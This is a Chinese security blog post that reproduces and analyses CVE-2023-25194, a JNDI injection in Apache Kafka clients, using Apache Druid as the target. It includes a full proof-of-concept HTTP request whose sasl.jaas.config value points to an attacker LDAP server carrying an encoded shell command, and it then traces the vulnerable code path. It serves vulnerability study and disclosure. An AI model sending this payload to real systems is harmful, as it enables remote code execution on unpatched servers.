Apache Kafka Clients JNDI注入漏洞 (CVE-2023-25194)复现及分析

admin 2023年8月4日14:00:48评论119 views字数 3763阅读12分32秒阅读模式
Apache Kafka Clients JNDI注入漏洞 (CVE-2023-25194)复现及分析
漏洞信息
Apache Kafka是一个开源分布式消息队列,Kafka clients是相对应的Java客户端。尤其是在大数据开发中(实时数据处理和分析)。为集成其他系统和解耦应用,经常使用Producer来发送消息到Broker,并使用Consumer来消费Broker中的消息。Kafka Connect是到0.9版本才提供的并极大地简化了其他系统与Kafka的集成。Kafka Connect运用用户快速定义并实现各种Connector(File,Jdbc,Hdfs),这些功能让大批量数据导入/导出Kafka很方便。
在版本3.3.2及以前,Apache Kafka clients中存在一处JNDI注入漏洞(CVE-2023-25194)。通过 Kafka Connect REST API 配置连接器, 经过身份验证的操作员可以将连接器的任何Kafka客户端的“sasl.jaas.config”属性设置为“com.sun.security.auth.module.JndiLoginModule”, LoginModule允许访问用户指定的JNDI 服务提供商, 因此导致JNDI注入。进而导致JNDI注入漏洞,执行任意命令。
Apache Kafka Clients JNDI注入漏洞 (CVE-2023-25194)复现及分析
影响范围

2.4.0<=Apache kafka<=3.2.2

其他影响:

0.19.0 <= Apache Druid <= 25.0.0

Apache Kafka Clients JNDI注入漏洞 (CVE-2023-25194)复现及分析
漏洞复现

本次漏洞环境使用了durid,因为durid使用kafka-clients来连接Kafka作为其数据源之一。

目标靶机:

Apache Kafka Clients JNDI注入漏洞 (CVE-2023-25194)复现及分析

Jndi主机:

通过JNDIExploit-master开启一个恶意jndi服务器。

Apache Kafka Clients JNDI注入漏洞 (CVE-2023-25194)复现及分析
Apache Kafka Clients JNDI注入漏洞 (CVE-2023-25194)复现及分析
Poc:POST /druid/indexer/v1/sampler?for=connect HTTP/1.1Host: 192.168.32.129:8888Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: application/jsonContent-Length: 1449
{ "type":"kafka", "spec":{ "type":"kafka", "ioConfig":{ "type":"kafka", "consumerProperties":{ "bootstrap.servers":"127.0.0.1:6666", "sasl.mechanism":"SCRAM-SHA-256", "security.protocol":"SASL_SSL", "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url="ldap://192.168.96.235:1389/Basic/Command/base64/aWQgPiAvdG1wL3N1Y2Nlc3M=" useFirstPass="true" serviceName="x" debug="true" group.provider.url="xxx";" }, "topic":"test", "useEarliestOffset":true, "inputFormat":{ "type":"regex", "pattern":"([\s\S]*)", "listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965", "columns":[ "raw" ] } }, "dataSchema":{ "dataSource":"sample", "timestampSpec":{ "column":"!!!_no_such_column_!!!", "missingValue":"1970-01-01T00:00:00Z" }, "dimensionsSpec":{
}, "granularitySpec":{ "rollup":false } }, "tuningConfig":{ "type":"kafka" } }, "samplerConfig":{ "numRows":500, "timeoutMs":15000 }}

命令执行:

Apache Kafka Clients JNDI注入漏洞 (CVE-2023-25194)复现及分析

攻击效果:

docker exec -i -t [容器id] /bin/bash

Apache Kafka Clients JNDI注入漏洞 (CVE-2023-25194)复现及分析
Apache Kafka Clients JNDI注入漏洞 (CVE-2023-25194)复现及分析

/tmp/success 存在证明漏洞利用成功

Apache Kafka Clients JNDI注入漏洞 (CVE-2023-25194)复现及分析
漏洞分析
由于漏洞复现基于durid的kafka组件,durid不支持仅支持unix、ios等系统,故漏洞分析使用windows直接搭建kafka进行分析。
官网下载kafka 源码解压。
启动zookeeper和server:(注意目录不能有中文)
binwindowszookeeper-server-start.bat configzookeeper.propertiesbinwindowskafka-server-start.bat configserver.properties

定位分析该接口具体的代码

@Path("/druid/indexer/v1/sampler")public class SamplerResource {   @POST   @Consumes({"application/json"})   @Produces({"application/json"})   @ResourceFilters({StateResourceFilter.class})   public SamplerResponse post(SamplerSpec sampler) {      return ((SamplerSpec)Preconditions.checkNotNull(sampler, "Request body cannot be empty")).sample();// 43   }}

定位代码发现KafkaSamplerSpec接口的sample方法具体实现在父类

Apache Kafka Clients JNDI注入漏洞 (CVE-2023-25194)复现及分析

sample具体的实现是在SeekableStreamSamplerSpec类中。在KafkaProducer的构造函数中,会基于properties初始化ProducerConfig的实例config,在newSender(LogContext logContext, KafkaClient kafkaClient, ProducerMetadata metadata)中创建ChannelBuilder:

Apache Kafka Clients JNDI注入漏洞 (CVE-2023-25194)复现及分析

然后当security.protocol为SASL_PLAINTEXT或SASL_SSL并且指定了sasl.mechanism时基于config信息⽣成 JaasContext的实例,然后⽣成 SaslChannelBuilder实例:

Apache Kafka Clients JNDI注入漏洞 (CVE-2023-25194)复现及分析

在new JaasConfig(globalContextName, dynamicJaasConfig.value())中会把sasl.jaas.config中的 字符串解析成AppConfigurationEntry的实例。然后调⽤channelBuilder.configure(configs)⽅法, 后⾯进入LoginManager.acquireLoginManager。

然后进入JndiLoginModule的login⽅法:userProvider以及groupProvider都不为null, 并且设置了 useFirstPass=true或tryFirstPass=true时都会进入attemptAuthentication⽅法,在这⾥会调⽤ InitialContext实例的lookup(userProvider)⽅法,从⽽导致JNDI注入。

综上, 只要攻击者可以控制kafka-clients连接时的属性, 将属性的配置项security.protocol设置为SASL_PLAINTEXT 或SASL_SSL并且指定了sasl.mechanism、sasl.jaas.config值设置为 com.sun.security.auth.module.JndiLoginModule, 并且配置项中的userProvider以及groupProvider都不为null, 同 时设置了useFirstPass=true或tryFirstPass=true时, kafka client就会发起JNDI连接, 从⽽导致JNDI注入漏洞。

流程图如下:

Apache Kafka Clients JNDI注入漏洞 (CVE-2023-25194)复现及分析

Apache Kafka Clients JNDI注入漏洞 (CVE-2023-25194)复现及分析

美创科技旗下第59号实验室,专注于数据安全技术领域研究,聚焦于安全防御理念、攻防技术、威胁情报等专业研究,进行知识产权转化并赋能于产品。累计向CNVD、CNNVD等平台提报数百个高质量原创漏洞,发明专利数十篇,团队著有《数据安全实践指南》

原文始发于微信公众号(第59号):Apache Kafka Clients JNDI注入漏洞 (CVE-2023-25194)复现及分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月4日14:00:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Kafka Clients JNDI注入漏洞 (CVE-2023-25194)复现及分析https://cn-sec.com/archives/1933794.html

发表评论

匿名网友 填写信息